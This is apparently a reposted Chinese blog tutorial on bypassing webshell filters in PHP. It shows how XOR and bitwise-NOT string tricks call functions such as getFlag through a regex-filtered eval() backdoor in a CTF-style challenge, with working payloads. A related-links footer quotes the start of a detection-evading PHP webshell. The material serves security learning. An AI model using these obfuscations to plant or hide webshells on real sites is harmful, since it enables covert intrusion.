webshell绕过

这篇具有很好参考价值的文章主要介绍了webshell绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

webshell

前置知识

<?php
    echo "A"^"`";
?>

运行结果
webshell绕过,安全,安全

可以看到出来的结果是字符“!”。

为什么会得到这个结果?是因为代码的“A”字符与“`”字符产生了异或。

php中,两个变量再进行异或的时候,它会将字符串转换成ASCII码,然后将ASCII码转换成二进制再来进行异或操作,异或完,又将二进制的结果转换成ASCII码,再将ASCLL码转换成字符串。

那么什么是异或?

异或操作就是两个二进制数在一起对比时,相同的为0,不同的为1

比如

A的ASCII码是65,对应的二进制是0100 0001

`的ASCII码是96,对应的二进制是0110 0000

那么,异或后,就是0010 0001,对应的ASCII码是33,对应的字符串就是!

接下来,看另外一个代码

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

这个代码的运行结果为:Hello Angel_Kitty
webshell绕过,安全,安全

分析一下代码

$_++;就是将"_"这个变量进行自增的操作,在PHP中,通常未定义的变量默认值为null,而nullfalse0,所以,我们可以通过这样的方法来得到一个数字。

$__="?" ^ "}";对字符"?""}"进行了异或运算,将得到的结果B赋给变量名为"__"(两个下划线)的变量

$ __ ();通过上面的赋值操作,变量$__的值就变成了B,所以这一行代码可以被看作B(),相当于调用函数B。所以运行后的结果是Hello Angel_Kitty。

我们可以通过这样转换的方法来绕过那些会检测我们的代码。

像是_POST",“system”,"call_user_func_arry"这些我们需要的字符串能够进行转换,或是其他的一些我们需要的东西。

下面是一个简单的PHP后门:

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
// flag.php
<?php
    function getFlag(){
        echo "hello world";
    }
?>

payload

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

运行后的结果
webshell绕过,安全,安全

<?php
    echo "`{{{"^"?<>/";//_GET
?>

首先,这个的运行结果是
webshell绕过,安全,安全

那么前面的KaTeX parse error: Expected '}', got 'EOF' at end of input: … 中,然后前面又加了个字符,就变成了 $ _GET,又因为& _=getFlag,那么$ _GET又赋值了一个getFlag,所以就变成了调用getFlag函数。

第二种解法:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

也是一样的效果
webshell绕过,安全,安全

进阶绕过

<?php 

include'flag.php'; 

if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

因为这个代码把_过滤了,所以我们需要用异或的方式

echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");

echo "@@^|@@@" ^ "'%*:,!'";

webshell绕过,安全,安全

可以看到,我们这两行代码在进行异或操作过后,都是getFlag

所以最终的payload是

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

因为前面的代码中过滤了字母、数字和下划线,所以这边采用一下汉字来作为变量名。

然后,运行结果也是同样的hello world
webshell绕过,安全,安全文章来源地址https://www.toymoban.com/news/detail-660130.html

到了这里,关于webshell绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 过检大马下载webshell,360,安全狗。。。

    上传利器phpwebshell  提权 关注我获取更多资源 ?php   $password = \\\"68xi\\\";//设置密码   error_reporting(E_ERROR); header(\\\"content-Type: text/html; charset=gb2312\\\"); set_time_limit(0);   function Root_GP($array) {     while(list($key,$var) = each($array))     {         if((strtoupper($key) != $key || \\\'\\\'.intval($key) == \\\"$key\\\") $

    2023年04月24日
    浏览(38)
  • [JAVA安全webshell]冰蝎jsp木马分析

    只是分享一下对冰蝎webshell分析的一个学习过程,冰蝎webshell使用了加载字节码的方式执行恶意代码。 首先打开webshell 这么一行实在不好看,先把他分行吧。 分完行之后,就很清晰明了了。 导入了三个依赖,一个是标准库,两个估计用于加密。 然后定义了一个类U,继承自

    2024年02月09日
    浏览(39)
  • web安全第四天:webshell原理与菜刀使用

    1.1 WebShell的含义 WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得

    2024年02月06日
    浏览(33)
  • 网络安全02--负载均衡下的webshell连接

    目录 一、环境准备 1.1ubentu虚拟机一台,docker环境,蚁剑 1.2环境压缩包(文件已上传资源): 二、开始复原 2.1上传ubentu: 2.2解压缩 2.3版本20没有docker-compose手动下载,包已上传资源 ​编辑 2.4问题:下载无法连接 2.5解决方法:ubentu上做代理,或xftp自己上传,我这里使用ub

    2024年02月19日
    浏览(36)
  • Web安全-Behinder(冰蝎)Webshell管理工具使用

    点击页面右侧\\\"releases\\\",进入工具的版本下载页面。 在个人终端安装JDK1.8环境的情况下,下载zip压缩包后打开Behinder.jar即可 类别 运行环境要求 客户端 jre8+ 服务端 .net 2.0+;php 5.3-7.4;java 6+ 冰蝎(behinder)是一款动态二进制加密网站管理客户端。也叫做webshell管理工具,第一代w

    2024年02月13日
    浏览(44)
  • 安全中级3-nginx反向代理负载均衡的webshell

    目录 一、负载均衡 1.nginx的负载均衡 2.nginx 支持的几种策略: 二、负载均衡下的webshell连接(负载均衡下的wenbshell环境下载地址) 1.内部网络的结构 2.场景描述 3.利用我们的中国蚁剑连接我们的代理服务器nginx 三、webshell遇到的难点(重点) 1.我们需要在每台机器上都要上传相同

    2024年02月06日
    浏览(58)
  • Web安全-Godzilla(哥斯拉)Webshell管理工具使用

    点击页面右侧\\\"releases\\\",进入工具的版本下载页面。 在个人终端安装JDK1.8环境的情况下,下载jar包后打开即可 Payload类型 运行环境要求 JavaDynamicPayload java1.0及以上 CShapDynamicPayload .net2.0及以上 PhpDynamicPayload 4.3.0及以上 AspDynamicPayload 全版本 哥斯拉由Java语言开发,内置了3种Paylo

    2024年02月13日
    浏览(35)
  • Web安全-AntSword(中国蚁剑)Webshell管理工具使用

    蚂剑工具的下载分为两个部分,一个是项目核心源码antSword,另一个是加载器AntSword-Loader。我们依次进行下载,并且进行说明 先点击进入antSword,点击页面右侧\\\"releases\\\",进入工具的源码下载页面进行源码下载。 而后点击进入AntSword-Loader,点击页面右侧\\\"releases\\\",进入加载器下

    2024年02月12日
    浏览(40)
  • 机器学习和深度学习检测网络安全课题资料:XSS、DNS和DGA、恶意URL、webshell

    XSS 机器学习识别XSS实践 使用深度学习检测XSS 使用深度学习检测XSS(续) DNSDGA检测 使用CNN检测DNS隧道 探秘-基于机器学习的DNS隐蔽隧道检测方法与实现 DNS Tunnel隧道隐蔽

    2024年02月02日
    浏览(42)
  • 安全狗SQL注入绕过

    本文用sqli-labs第一关为例 一、简单注入 开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了 寻找被安全狗匹配的特征字符,这里没被拦截 原来是当and 与 xx=xx 同时出现的时候会被安全狗识别 1.1 简单注入绕过方式 这里可以使用mysql的内联注释来进行绕过 内联注

    2024年02月08日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包